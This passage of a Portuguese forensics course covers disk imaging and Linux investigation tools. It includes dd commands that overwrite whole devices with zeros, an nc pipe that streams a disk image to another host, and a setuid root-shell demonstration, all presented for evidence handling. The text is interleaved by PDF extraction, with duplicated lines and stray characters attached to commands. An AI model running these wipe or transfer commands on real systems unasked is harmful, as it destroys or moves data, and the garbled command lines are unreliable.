263176704 bytes (263 MB) copied, 4.17215 seconds, 63.1
gador posteriormente. Mesmo assim, a ação de zerar
MB/s o conteúdo dos discos de armazenagem é uma boa
prática que deve ser sempre seguida.

Ambiente e ferramentas de análise forense


36
Escola Superior de Redes RNP

Como não temos um dispositivo que possa ser zerado, é importante notar
que não executaremos esse comando com um dispositivo. A execução desse
comando pode ser feita em um arquivo comum, por exemplo, copiando um
arquivo qualquer do diretório /data e executando os comandos abaixo:

# strings –a <arquivo.dat>8

# dd if=/dev/zero of=<arquivo.dat> conv=noerror bs=1024 count=40968

# strings –a <arquivo.dat>8

Este comando copia 4 MB de zeros sobre o conteúdo do arquivo. Caso não seja
especificado o tamanho, o DD continuaria copiando zeros até preencher o disco.
No exemplo, mostramos que o conteúdo que existia no arquivo foi zerado (com os
dois comandos strings, antes e depois do DD).

Antes de copiar as evidências, é necessário garantir que nosso dispositivo de


armazenagem está limpo. Uma maneira de garantir isso é zerando o conteúdo do
disco antes de gravar qualquer evidência. Fazemos isso com o seguinte comando:

# dd if=/dev/zero of=/dev/<dispositivo> bs=512 conv=noerror8


dd: writing `/dev/<dispositivo>’: No space left on device
514018+0 records in
514017+0 records out
263176704 bytes (263 MB) copied, 4.17215 seconds, 63.1 MB/s

Aqui mostramos como realizar a cópia do disco de


Preservação do disco
uma máquina suspeita. Este procedimento vale para
Passos para copiar uma partição de um disco para um
qualquer tipo de partição, mas em alguns casos, onde
arquivo de imagem: o dispositivo de disco não tem uma partição DOS válida
# dd if=/dev/sda1 of=/data/dev_sda1_swap.img bs=512
conv=noerror
(disco da Sun ou Risc, por exemplo) a especificação
514017+0 records in do dispositivo é diferente. No entanto, como utilizamos
514017+0 records out
263176704 bytes (263 MB) copied, 36.8564 seconds, 7.1 MB/s
Linux, provavelmente seria possível copiá-lo também.

# dd if=/dev/sda2 of=/data/dev_sda2.img_root.img bs=512


conv=noerror Estes são os passos para copiar uma partição de
514080+0 records in
514080+0 records out
um disco para um arquivo de imagem:
263208960 bytes (263 MB) copied, 36.4338 seconds, 7.2 MB/s
# dd if=/dev/sda1 of=/data/dev_sda1_swap.img bs=512
conv=noerror8
514017+0 records in
514017+0 records out
263176704 bytes (263 MB) copied, 36.8564 seconds,
7.1 MB/s

# dd if=/dev/sda2 of=/data/dev_sda2.img_root.img bs=512 conv=noerror8


514080+0 records in
514080+0 records out
263208960 bytes (263 MB) copied, 36.4338 seconds, 7.2 MB/s

Assim deve ser feito sucessivamente para todas as partições existentes no disco.
Este método é ideal para copiar uma partição hospedada em dispositivos RAID.

No caso de ser necessário copiar todo o disco, a única modificação a ser feita no
comando é especificar o dispositivo completo no parâmetro if=<dev>.

Análise forense – Sessão de aprendizagem 2


37

Veja o exemplo abaixo:

# dd if=/dev/sda of=/data/dev_sda.img bs=512 conv=noerror8

Outras formas de preservação do disco


Outras formas de preservação do disco

Uma ferramenta do pacote forense Sleuth Kit pode ser


Voltaremos ao Sleuth Kit na próxima sessão. Por
útil para identificar a estrutura do disco ou imagem: enquanto, é importante mostrar como as partições
# /usr/local/sleuthkit-2.09/bin/mmls /dev/sda estão divididas no disco, e que é possível existirem
DOS Partition Table
Offset Sector: 0 espaços vazios entre as partições, que podem
Units are in 512-byte sectors
Slot
00: -----
Start
0000000000
End
0000000000
Length
0000000001
Description
Primary Table (#0)
ser utilizados pelo hacker para armazenar dados
01: -----
02: 00:00
0000000001
0000000063
0000000062
0000514079
0000000062
0000514017
Unallocated
Linux Swap (0x82) invisíveis ao sistema operacional. Por exemplo, a
tabela de partição fica armazenada no setor 0, e nor-
03: 00:01 0000514080 0001028159 0000514080 Linux (0x83)
04: 00:02 0001028160 0016771859 0015743700 DOS Extended (0x05)
05: ----- 0001028160 0001028160 0000000001 Extended Table (#1)
06: ----- 0001028161 0001028222 0000000062 Unallocated malmente tem tamanho de um bloco. Os outros 62
07: 01:00 0001028223 0016771859 0015743637 Linux (0x83)
08: ----- 0016771860 0016777215 0000005356 Unallocated
blocos até o início da primeira partição estão livres.

Ao copiar a estrutura completa do disco, teremos


as partições do sistema, tabelas e estruturas do sistema de arquivos. Para ter
acesso às partições e seus conteúdos, precisamos separar as partições.

Uma ferramenta do pacote forense Sleuth Kit pode ser útil para identificar a estrutura
do disco ou imagem:

# /usr/local/sleuthkit-2.09/bin/mmls /dev/sda8
DOS Partition Table
Offset Sector: 0
Units are in 512-byte sectors
Slot Start End Length Description
00: ----- 0000000000 0000000000 0000000001 Primary Table (#0)
01: ----- 0000000001 0000000062 0000000062 Unallocated
02: 00:00 0000000063 0000514079 0000514017 Linux Swap (0x82)
03: 00:01 0000514080 0001028159 0000514080 Linux (0x83)
04: 00:02 0001028160 0016771859 0015743700 DOS Extended (0x05)
05: ----- 0001028160 0001028160 0000000001 Extended Table (#1)
06: ----- 0001028161 0001028222 0000000062 Unallocated
07: 01:00 0001028223 0016771859 0015743637 Linux (0x83)
08: ----- 0016771860 0016777215 0000005356 Unallocated

Outras formas de preservação do disco

Com estas informações é possível extrair as partições


individuais da imagem do disco completo:

# dd if=/dev/sda of=/data/dev_sda1_swap_raw.img bs=512


count=514017 skip=63
514017+0 records in
514017+0 records out
263176704 bytes (263 MB) copied, 12.2563 seconds, 21.5 MB/s

# sha1sum dev_sda1_swap.img dev_sda1_swap_raw.img


6a9f2bf4fb171512abb49c68b6ca4fc98b224e7e dev_sda1_swap.img
6a9f2bf4fb171512abb49c68b6ca4fc98b224e7e dev_sda1_swap_raw.img

Ambiente e ferramentas de análise forense


38
Escola Superior de Redes RNP

No CD do Helix, existem outras ferramentas para


Outras formas de preservação do disco
facilitar a coleta de imagens de disco, como uma
Versão melhorada do DD, com capacidade de gerar um hash
versão melhorada do DD, com capacidade de gerar
automaticamente: um hash automaticamente:
# dcfldd if=/dev/sda2 of=/data/dev_sda2_root.img bs=512 conv=noerror
hash=sha1 hashlog=dev_sda2_root.sha1 hashwindow=100M split=50M # dcfldd if=/dev/sda2 of=/data/dev_sda2_root.img
103936 blocks (50Mb) written. bs=512 conv=noerror8
150528 blocks (73Mb) written.
514048 blocks (251Mb) written. hash=sha1 hashlog=dev_sda2_root.sha1 hashwindow=100
514080+0 records in M split=50M
514080+0 records out
103936 blocks (50Mb) written.
# cat dev_sda2_root.sha1 150528 blocks (73Mb) written.
0 - 104857600: efffdd6f8ecae38aea95cd1862775e3489150a97
104857600 - 209715200: f93beb718b2beac9f10dbe80b7250207d46dbda1 514048 blocks (251Mb) written.
209715200 - 263208960: e694b7c0f6140be5ca6c5167d07d99140b91678e
514080+0 records in
Total (sha1): 641a91271d0ed17a995a01d48b70591d599213da
514080+0 records out

# cat dev_sda2_root.sha18
0 - 104857600: efffdd6f8ecae38aea95cd1862775e3489150a97
104857600 - 209715200: f93beb718b2beac9f10dbe80b7250207d46dbda1
209715200 - 263208960: e694b7c0f6140be5ca6c5167d07d99140b91678e
Total (sha1): 641a91271d0ed17a995a01d48b70591d599213da

Adepto

Interface gráfica para utilizar o dcfldd e outras ferramentas de coleta. Contém


muitas opções para geração, armazenagem e verificação da imagem, além de
manter um registro de todas as operações realizadas.

# /usr/local/bin/adepto.sh8

Análise forense – Sessão de aprendizagem 2


39

Conclusões
Conclusões

Como a análise de mídia necessita de muitos recursos


Disponibilizar em sua estação forense o máximo
possível de espaço, processamento e memória. computacionais, quanto mais espaço, processamento
Usar sistema operacional flexível e confiável. e memória houver em sua estação forense, melhor.
Possuir ferramentas prontas e atualizadas no No atendimento inicial a um incidente, o investigador
atendimento inicial a um incidente. deve ter suas ferramentas prontas e atualizadas.
Evitar comprometer evidências, coletando primeiro as
informações mais voláteis:
Memória RAM, informações de rede, processos em Um Live-CD específico para análise forense pode ser
execução, cópia do disco rígido, logs, históricos. muito útil para quem não pode manter um conjunto
Estudar as ferramentas disponíveis no Live-CD de ferramentas sempre atualizadas.

Deve-se evitar comprometer evidências, coletando


primeiro as informações mais voláteis: memória RAM, informações de rede, pro-
cessos em execução, cópia do disco rígido, logs, históricos.

Estude as ferramentas disponíveis no Live-CD, pois elas podem facilitar significati-


vamente o trabalho.

Na próxima sessão veremos ferramentas e técnicas para coleta de evidências a


partir da imagem do disco de uma máquina comprometida.

Ambiente e ferramentas de análise forense


40
Escola Superior de Redes RNP

Análise forense – Sessão de aprendizagem 2


2
Sessão de aprendizagem 2
Ambiente e ferramentas de análise forense
Roteiro de atividades

Tópicos e conceitos

\\Identificação das ferramentas necessárias de hardware, sistema operacional e


Live-CD.

\\Preservação de informações voláteis.

Competências técnicas desenvolvidas

\\Elaboração de uma lista de hardware e software necessários para iniciar uma


investigação;

\\Realização de coleta de evidências voláteis no computador.

Outras competências desenvolvidas

\\Capacidade de investigação e pesquisa do aluno.

Tempo previsto para as atividades

\\90 minutos
42
Escola Superior de Redes RNP

Atividade 1 – Kit do investigador

Juntamente com um colega, crie uma lista de hardwares e softwares que


poderiam ser utilizados por um investigador forense. Seja bem específico.
Procure na internet os equipamentos que o investigador poderia ter em
sua maleta de ferramentas (dica: hubs, placas wireless, equipamentos
para cópia de disco). Dê exemplos destes equipamentos encontrados na
internet.

Atividade 2 – Coleta de informações voláteis

1. Durante a parte teórica, você coletou a memória RAM da máquina virtual.


Esta é uma evidência importante não só por conter dados dos programas
em execução, mas também porque, muitas vezes, os dados permanecem
na memória mesmo após o programa terminar. Examine o conteúdo
desde arquivo, descrevendo dados interessantes que você pode encontrar
na memória, como textos em programas — textos de ajuda, templates,
mensagens de erro etc. Seria possível encontrar senhas na memória? E
textos que deveriam estar criptografados em formato de texto puro?
Prepare um pequeno relatório de situações onde estes tipos de dados
podem ser comprometidos, caso a memória da máquina seja pesquisada
durante a execução de um programa. Pesquise na internet se existem
ferramentas que permitem analisar a memória RAM de uma forma mais
estruturada (a pesquisa pode ser feita em dupla).

2. Utilizando os comandos vistos durante essa sessão, vamos examinar


todas as informações que podem ser coletadas a respeito de um binário
em memória. Escolha um processo qualquer em sua máquina (ex: sshd,
pump, bash etc) e prepare um relatório com todas as informações que
encontrar sobre ele, sem modificar nenhuma informação em disco, isto é,
sem acessar o binário fisicamente no disco. O relatório deverá conter, no
mínimo, os seguintes itens: nome do processo, PID, sockets ou conexões
de rede utilizados, memória ocupada pelo programa, local onde o binário
está armazenado no disco, linha de comando utilizada na execução do
processo, raiz e diretório corrente do processo, variáveis de ambiente,
mapa de utilização da memória com explicações sobre a estrutura, e o
próprio binário.

Análise forense – Sessão de aprendizagem 2


3
Sessão de aprendizagem 3
Ambiente e ferramentas de análise
forense (parte 2)
Sumário da sessão

Software básico de rede. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 44

Informações sobre executáveis. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 50

Pacote forense de ferramentas. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 53

Ferramentas do nível de sistema de arquivos. . . . . . . . . . . . . . . . . . . . . . . . . . 56

Ferramentas do nível de nomes de arquivos. . . . . . . . . . . . . . . . . . . . . . . . . . . 57

Ferramentas do nível de metadados. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 57

Ferramentas do nível de blocos de dados . . . . . . . . . . . . . . . . . . . . . . . . . . . . 59

Outras ferramentas. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 61

CD de ferramentas. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 66

Conclusões . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 67

Roteiro de atividades . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 69

Atividade 1 – Investigando o disco. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 70

Atividade 2 – Uso do Sleuth Kit . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 70


44
Escola Superior de Redes RNP

Software básico de rede


Software básico de rede

Este exemplo pode ser útil para tentar detectar no


Nem sempre será necessária a utilização de
ferramentas complicadas para realizar uma análise. disco a presença de texto que poderia indicar o
O Linux dispõe de ótimas ferramentas para auxiliar o comprometimento da máquina. Por exemplo, as men-
trabalho de investigação. sagens presentes em uma ferramenta de rootkit. A
Estas ferramentas básicas são importantes para a diferença, neste caso, é que acessando diretamente
investigação, e o analista deve conhecê-las muito
bem. o dispositivo de disco não modificamos informações
Também existem versões destas ferramentas para importantes no sistema de arquivos, tal como a data
Windows, mas precisam ser instaladas à parte. No de acesso/modificação dos arquivos.
Linux, elas já acompanham o sistema.

strings

Extrai mensagens de texto de um arquivo. Esta é


uma das principais ferramentas do investigador. Com
Software básico de rede
ela é possível detectar rapidamente se existe algum
conteúdo interessante em um arquivo suspeito. Pode
strings
Extrai mensagens de texto de um arquivo. ser usada tanto em arquivos comuns como direta-
mente em um arquivo de dispositivo. Exemplo:
# strings –a /bin/bash
# strings –a /dev/sda1 > # strings –a /bin/bash8
/data/dev_sda1_swap.img.str
Com o comando acima criamos um arquivo com todas # strings –a /dev/sda1 > /data/dev_sda1_swap.img.str8
as mensagens contidas no dispositivo /dev/sda1.
Este arquivo pode ser usado para detectar a
existência no dispositivo de algum conteúdo Com o comando acima criamos um arquivo com todas
comprometido. as mensagens contidas no dispositivo /dev/sda1.
Podemos utilizar este arquivo para detectar rapida-
mente se existe algum conteúdo comprometido no
dispositivo.

Software básico de rede


grep
grep
Procura por padrões em um arquivo. Procura por padrões em um arquivo. Usado em
Usado em conjunto com strings torna-se uma conjunto com strings torna-se uma ferramenta impor-
ferramenta importante para encontrar evidências. tante para encontrar evidências. Exemplo:
# grep -ia -f /data/dirt_list.txt
/data/dev_sda2_root.img # grep -ia -f /data/dirt_list.txt /data/dev_sda2_ro
# grep –ab “Bash version” ot.img8
/data/dev_sda2_root.img
# grep –E “[0-9]{1,3}\.[0-9]{1,3}\.[0- # grep –ab “Bash version” /data/dev_sda2_root.img8
9]{1,3}\.[0-9]{1,3}”
/data/dev_sda2_root.img.str >
# grep –E “[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9
/data/dev_sda2_root.img.str.ips
]{1,3}” /data/dev_sda2_root.img.str > /data/dev_sda
2_root.img.str.ips8

No primeiro exemplo do slide, utilizamos um arquivo com palavras suspeitas como


padrão de busca. O comando mostrará as palavras constantes no arquivo /data/
dirt_list.txt que também aparecem na imagem de disco /data/dev_sda2_root.img.
No segundo exemplo, o comando imprimirá o offset em bytes de onde a sequên-
cia Bash version foi encontrada no arquivo /data/dev_sda2_root.img.

Análise forense – Sessão de aprendizagem 3


45

O último exemplo mostra como utilizar o comando grep para encontrar mensa-
gens a partir de uma expressão regular. Isto torna o grep muito poderoso para
encontrar evidências.

md5sum / sha1sum / sha1deep


Software básico de rede
Geram um hash criptográfico dos dados passados
md5sum / sha1sum / sha1deep
Geram um hash criptográfico dos dados passados como como entrada. Estes comandos são importantes
entrada. Exemplo: para garantir a integridade de evidências coleta-
# sha1sum /etc/passwd
b8e110c1a6834883b1cce60a85d7e8641cf34466/etc/passwd das durante a investigação, bem como verificar a
sha1deep autenticidade dos arquivos armazenados em disco.
Utilizado para monitorar a integridade do sistema ou procurar
por hashs através de uma lista de hashs conhecidos: Exemplo:
# sha1deep -r /bin /lib /sbin >
/data/system_hashs.sha1
# sha1sum /etc/passwd8
# sha1deep -r -x /data/system_hashs.sha1 /bin
# sha1deep -r -m /data/badfiles_hashs.sha1 /
b8e110c1a6834883b1cce60a85d7e8641cf34466 /etc/passwd

Podemos monitorar a integridade do sistema ou pro-


curar por hashs através de uma lista de hashs conhecidos. Para isso, utilizamos
sha1deep, como no exemplo abaixo:

# sha1deep -r /bin /lib /sbin > /data/system_hashs.sha18

# sha1deep -r -x /data/system_hashs.sha1 /bin8

# sha1deep -r -m /data/badfiles_hashs.sha1 /8

\\O primeiro comando do exemplo cria uma lista de hashs dos arquivos do
sistema;

\\O segundo comando compara essa lista com os arquivos do sistema para
detectar mudanças;

\\O terceiro comando procura por assinaturas de ferramentas e arquivos


comumente instalados pelo hacker.

Procura por arquivos a partir de algumas restrições de busca. Pode encontrar


arquivos suspeitos no diretório /dev, arquivos escondidos ou com caracteres
estranhos no nome, ou arquivos com permissões específicas. Estes arquivos
podem ser suspeitos, pois um arquivo com o bit setuid (stick bit) ligado pode indi-
car a presença de um root shell.

Antes da execução do comando /data/bla, o usuário em questão era um usuário


comum. Após a execução, ele passa a ter um shell privilegiado, e seu EUID
(Effective User ID) passa a ser zero, indicando que a partir desse momento o usu-
ário passa a ser o super usuário do sistema. Chamamos este tipo de arquivo de
root shell, e é a forma utilizada normalmente pelo invasor para recuperar o status
de super usuário após invadir e controlar um sistema.

Ambiente e ferramentas de análise forense (parte 2)


46
Escola Superior de Redes RNP

Software básico de rede find

find
Procura no sistema por arquivos que casem com os
Procura no sistema por arquivos que casem com os padrões especificados a partir de algumas restrições
padrões especificados a partir de algumas restrições de de busca. Deve ser utilizado com cuidado, pois modi-
busca. Deve ser utilizado com cuidado, pois modifica as fica as datas de acesso dos arquivos pesquisados.
datas de acesso dos arquivos pesquisados.
# find /bin/ -type f -exec grep -H "Bash
version" {} \; # find /bin/ -type f -exec grep -H “Bash version” {}
# find /dev –not –type b –and –not –type c \;8
# find /data -name ".[. ]*"
# find / -perm +02000 –or –perm +04000 # find /dev –not –type b –and –not –type c8

# find /data -name “.[. ]*”8

# find / -perm +02000 –or –perm +040008

Pode indicar a presença de um invasor, caso o


Software básico de rede
investigador encontre um programa suspeito com
permissões de SUID:
Pode indicar a presença de um invasor, caso o
investigador encontre um programa suspeito com
$ ls -l /data/bla8
permissões de SUID:
$ ls -l /data/bla -rwsr-xr-x 1 root root 84008 Jan 6 18:04 /data/bla
-rwsr-xr-x 1 root root 84008 Jan 6 18:04 /data/bla
$ id8
$ id
uid=1000(knoppix) gid=1000(knoppix) uid=1000(knoppix) gid=1000(knoppix) groups=1000(kno
groups=1000(knoppix) ppix)
$ /data/bla
$ /data/bla8
# id
uid=1000(knoppix) gid=1000(knoppix) euid=0(root) # id8
groups=1000(knoppix)
uid=1000(knoppix) gid=1000(knoppix) euid=0(root) gr
oups=1000(knoppix)

file
Software básico de rede
Tenta identificar o tipo de um arquivo a partir de
file
Tenta identificar o tipo de um arquivo a partir de um banco de um banco de assinaturas de arquivos conhecidos.
assinaturas de arquivos conhecidos. Algumas vezes é Algumas vezes é importante saber o tipo de um
importante saber o tipo de um arquivo suspeito.
arquivo suspeito.
# file /etc/passwd
/etc/passwd: ASCII text
# file /usr/share/icons/helix.png # file /etc/passwd8
/usr/share/icons/helix.png: PNG image data, 32 x
32, 8-bit/color RGBA, non-interlaced
/etc/passwd: ASCII text
# file /bin/bash
/bin/bash: ELF 32-bit LSB executable, Intel 80386, # file /usr/share/icons/helix.png8
version 1 (SYSV), for GNU/Linux 2.2.0, dynamically
/usr/share/icons/helix.png: PNG image data, 32 x
linked (uses shared libs), stripped.
32, 8-bit/color RGBA, non-interlaced

# file /bin/bash8
/bin/bash: ELF 32-bit LSB executable, Intel 80386,
version 1 (SYSV), for GNU/Linux 2.2.0, dynamically
linked (uses shared libs), stripped.

O exemplo mostra algumas informações interessantes que o investigador deve


levar em consideração quando estiver analisando arquivos suspeitos. Repare que
o resultado do comando indica que o arquivo /bin/bash é “linkado” dinamicamente
com bibliotecas compartilhadas.

Análise forense – Sessão de aprendizagem 3


47

Isto significa que ele necessita de alguns arquivos externos para funcionar. Normalmente,
as ferramentas do sistema utilizam bibliotecas compartilhadas. O problema disso é que
quando um invasor quiser comprometer os executáveis do sistema, basta que substitua
as bibliotecas utilizadas por estes programas. Com isso, o hash criptográfico dos arquivos
executáveis não mudaria, mas eles não seriam mais confiáveis.

A segunda coisa importante mostrada pelo comando acima é que o arquivo /bin/
bash teve as informações de debug removidas (stripped). Normalmente, isto é
feito para diminuir o tamanho dos arquivos, mas também dificulta em descobrir a
utilidade de um programa, se não temos estas informações. Encontrar um arquivo
suspeito que não tenha as informações de debug removidas é importante e pode
auxiliar bastante o investigador.

dd
Software básico de rede
Comando utilizado para copiar dados binários, que
dd
Comando utilizado para copiar dados binários, que podem ser arquivos ou mesmo dispositivos físicos.
podem ser arquivos ou mesmo dispositivos físicos. Usado principalmente para realizar cópias fiéis de disco.
Usado principalmente para realizar cópias fiéis de
disco. # dd if=/dev/sda of=/dev/sdb8

# dd if=/dev/sda of=/dev/sdb # dd if=/dev/sda of=/data/partition_table.img


# dd if=/dev/sda of=/data/partition_ bs=512 count=18
table.img bs=512 count=1
# dd if=/dev/zero of=/dev/fd0  # dd if=/dev/zero of=/dev/fd08

No primeiro exemplo criamos uma cópia fiel de um


dispositivo de disco em outro disco. Para todos os
efeitos, o conteúdo do segundo disco é igual ao do disco original. Inclusive o hash
MD5 dos dois deve permanecer igual. Com o segundo comando, copiamos apenas
um bloco do dispositivo /dev/sda para o arquivo /data/partition_table.img. Este
bloco tem 512 bytes de tamanho, e o comando dd é instruído a copiar apenas um
bloco. Neste caso, copiamos a tabela de partição do dispositivo, ou seja, as infor-
mações de como as partições estão organizadas no disco. No terceiro exemplo,
utilizamos o dispositivo virtual /dev/zero para sanitizar um disquete antes de usá-lo
para armazenar evidências. Isto é importante para garantir que as evidências não
vão ser confundidas com dados existentes previamente no disquete.

netstat
Software básico de rede
Com este comando pode-se descobrir rapidamente
netstat
Com este comando pode-se descobrir rapidamente a a existência de portas de rede abertas na máquina,
existência de portas de rede abertas na máquina ou ou as conexões atualmente estabelecidas. É possível
conexões atualmente estabelecidas. também descobrir a existência de rotas estáticas
É possível também descobrir a existência de rotas inseridas manualmente. Exemplo:
estáticas inseridas manualmente. Exemplo:
# netstat –nap8
# netstat –nap
# netstat –nr # netstat –nr8
# netstat -nlp
# netstat -nlp8

Ambiente e ferramentas de análise forense (parte 2)


48
Escola Superior de Redes RNP

lsof
Software básico de rede
Importante ferramenta de coleta de evidências, uti-
lsof
Importante ferramenta de coleta de evidências, lizada para listar todos os arquivos abertos. Em um
utilizada para listar todos os arquivos abertos. sistema operacional, qualquer recurso mantém um
Em um sistema operacional, qualquer recurso mantém arquivo aberto. Conexões de rede, bibliotecas aber-
um arquivo aberto. tas, programas em execução, tudo vai ser listado
Conexões de rede, bibliotecas abertas, programas em
execução, tudo vai ser listado pelo lsof. pelo lsof. Exemplo:
# lsof –i # lsof –i8
# lsof –U
# lsof –l | grep LISTEN # lsof –U8

# lsof –l | grep LISTEN8

O comando lsof é importante para detectar comportamento estranho dos progra-


mas executados. O que você acharia, por exemplo, de um programa de edição de
textos (o vi, por exemplo), que mantém uma porta TCP aberta? Isto não é comum,
e pode indicar a existência de um trojan instalado na máquina.

nc
Software básico de rede
A função desta ferramenta é criar uma conexão
nc
Cria uma conexão de rede com outro computador, ou de rede com outro computador, ou então criar
então cria um listener em uma determinada porta. um listener em uma determinada porta. Com esta
Possibilita que o investigador copie arquivos e dados ferramenta, o investigador poderá copiar arquivos
de um computador para outro, não sendo necessário e dados de um computador para outro, não sendo
gravar nada no disco da máquina comprometida,
preservando evidências. necessário gravar nada no disco da máquina com-
prometida, preservando evidências. Exemplo:
# nc –l –p 9999 > /data/disco1.img.gz
# dd if=/dev/sda1 | gzip -9 –c | nc –p
# nc –l –p 9999 > /data/disco1.img.gz8
9999 <ip_da_estacao_forense>
# dd if=/dev/sda1 | gzip -9 –c | nc –p 9999 <ip_da_
estacao_forense>8

O primeiro comando deve ser executado na estação forense, conectada à mesma


rede da máquina comprometida. Ele cria um listener TCP na porta 9999, e dire-
ciona tudo o que for enviado a essa porta para o arquivo /data/disco1.img.gz.

O segundo comando, a ser executado na máquina comprometida, usa o dd para


ler o dispositivo /dev/sda1, passa este conteúdo pelo comando gzip (para com-
pactar o conteúdo), e depois passa essa saída para o comando nc. Neste caso, o
comando nc está sendo utilizado para conexão na porta 9999 remota da máquina
com endereço <ip_da_estacao_forense>. Todo o conteúdo dos dois comandos
anteriores será enviado para esta máquina.

Análise forense – Sessão de aprendizagem 3


49

Ethereal
Software básico de rede
Esta ferramenta funciona como monitor de rede. Ela
Ethereal
Esta ferramenta funciona como monitor de rede. Ela serve para capturar todo o tráfego de rede que chega
serve para capturar todo o tráfego de rede que chega à interface monitorada. Normalmente o investigador vai
à interface monitorada. Exemplo: utilizar esta ferramenta para monitorar a atividade de
# ethereal -i eth0 -n -k -s 65535 -f "dst rede entrando e saindo da máquina comprometida, a
net 192.168.0.0/16"
partir da estação forense. Esta pode ser a primeira indi-
# ethereal –i eth0 –w /data/capture.log –k
–f "dst net 192.168.0.0/16 and port 22" cação de que a máquina está comprometida. Exemplo:
# ethereal –r /data/capture.log –n -f "src
net 192.168.0.0/16" # ethereal -i eth0 -n -k -s 65535 -f “dst net
192.168.0.0/16”8

# ethereal –i eth0 –w /data/capture.log –k –f “dst


net 192.168.0.0/16 and port 22” 8

# ethereal –r /data/capture.log –n -f “src net 192.168.0.0/16”8

Os exemplos mostram como executar o Ethereal para monitorar visualmente o


tráfego de rede que entra e sai da máquina. No segundo exemplo, o tráfego é
direcionado para o arquivo /data/capture.log, para ser examinado posteriormente.
Adicionalmente, somente será capturado o tráfego direcionado aos computadores
da rede 192.168.0.0/16, e que tenha como origem ou destino a porta 22.

No último exemplo, o conteúdo do arquivo /data/capture.log é lido, e somente é


mostrado o tráfego saindo da rede 192.168.0.0/16

Ambiente e ferramentas de análise forense (parte 2)


50
Escola Superior de Redes RNP

Informações sobre executáveis


Informações sobre executáveis

hexdump
hexdump
Permite a visualização de arquivos binários em um formato
hexadecimal. Algumas vezes pode ser interessante visualizar um
# hexdump -b /data/partition_table.img arquivo binário em seu formato original, isto é, sem
# hexdump -d /data/partition_table.img
# hexdump
00000000
-C
00
/data/partition_table.img
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
transfomá-lo em texto puro. Para visualizar arquivos
*
000001b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 |................|
binários em um formato hexadecimal, podemos uti-
000001c0
000001d0
01
01
00
20
82
83
fe
fe
3f
3f
1f
3f
3f
20
00
d8
00
07
00
00
e1
20
d7
d8
07
07
00
00
00
00
00
00
|....?.?.........|
|. ..?? ... .....|
lizar a ferramenta hexdump. Este comando permite
000001e0
000001f0
01
00
40
00
05
00
fe
00
ff
00
ff
00
40
00
b0
00
0f
00
00
00
d4
00
3a
00
f0
00
00
00
00
55
00
aa
|.@....@....:....|
|..............U.|
mostrar o conteúdo de um arquivo binário em diver-
sos formatos, especificados pelo usuário.

Exemplo:

# hexdump -b /data/partition_table.img8

# hexdump -d /data/partition_table.img8

# hexdump -C /data/partition_table.img8
00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
000001b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 |................|
000001c0 01 00 82 fe 3f 1f 3f 00 00 00 e1 d7 07 00 00 00 |....?.?.........|
000001d0 01 20 83 fe 3f 3f 20 d8 07 00 20 d8 07 00 00 00 |. ..?? ... .....|
000001e0 01 40 05 fe ff ff 40 b0 0f 00 d4 3a f0 00 00 00 |.@....@....:....|
000001f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 aa |..............U.|

Os três comandos acima mostram o conteúdo do arquivo /data/partition_table.


img nos formatos octal, decimal e hexadecimal+ASCII, respectivamente. Um
exemplo da saída do comando hexadecimal+ASCII mostra como é a saída do
programa. Repare que a segunda linha da saída é um caracter “*”. Isso indica a
presença de uma ou mais linhas iguais à linha anterior ao “*”, o que é feito para
evitar a impressão de diversas linhas iguais.

lsattr/chattr
Informações sobre executáveis
Além das permissões de acesso normais do arquivo
lsattr/chattr
Além das permissões de acesso normais do arquivo (leitura, escrita e execução), existem permissões
(leitura, escrita e execução), existem permissões extras no sistema de arquivos que permitem controlar
extras no sistema de arquivos que permitem controlar o acesso aos arquivos. No Linux, estes atributos
o acesso aos arquivos.
extendidos podem ser modificados ou verificados
# rm -f /data/bla com os comandos lsattr e chattr: append only (a),
rm: cannot remove `/data/bla': Operation not permitted
# lsattr /data/bla compressed (c), no dump (d), immutable (i), data
----i------------ /data/bla journalling (j), secure deletion (s), no tail-merging (t),
# chattr -i +u /data/bla
undeletable (u), no atime updates (A), synchronous
directory updates (D), synchronous updates (S), top
of directory hierarchy (T). Normalmente o atributo
mais utilizado pelos invasores para proteger seus
arquivos é o immutable.

Análise forense – Sessão de aprendizagem 3


51

Com este atributo, um arquivo não pode ser apagado nem modificado por nenhum
usuário do sistema. Exemplo:

# rm -f /data/bla8
rm: cannot remove `/data/bla’: Operation not permitted

# lsattr /data/bla8
----i------------ /data/bla

# chattr -i +u /data/bla8

Em certas ocasiões, um administrador de uma máquina comprometida pode


encontrar os arquivos instalados pelo invasor na máquina, e ao tentar removê-los,
percebe que não consegue. Mesmo acessando o sistema como root, o sistema
diz que não é permitido remover tal arquivo.

Como vimos no exemplo, um arquivo com o atributo immutable não pode ser
removido nem mesmo pelo super usuário. O comando lsattr pode ser utilizado
para listar os atributos extendidos dos arquivos, e o comando chattr pode ser
utilizado para adicionar ou remover atributos extendidos.

Lembre-se de que encontrar um arquivo com atributos extendidos em uma


máquina, principalmente se for com o atributo immutable, pode ser um indicativo
de comprometimento.

strace
Informações sobre executáveis
Permite executar um processo e acompanhar toda
strace
Permite executar um processo e acompanhar toda a a atividade executada pelo mesmo, como todos os
atividade executada pelo mesmo, como todos os acessos ao sistema de arquivo, chamados de sis-
acessos ao sistema de arquivo, chamados de sistema, tema, leitura e escrita em filehandles, abertura e uti-
leitura e escrita em filehandles, abertura e utilização
de sockets de rede. lização de sockets de rede. Pode ser muito útil caso
o investigador encontre um processo em execução e
# strace -f -F -i -t -x -p `pidof Xorg`
queira descobrir mais informações sobre o mesmo,
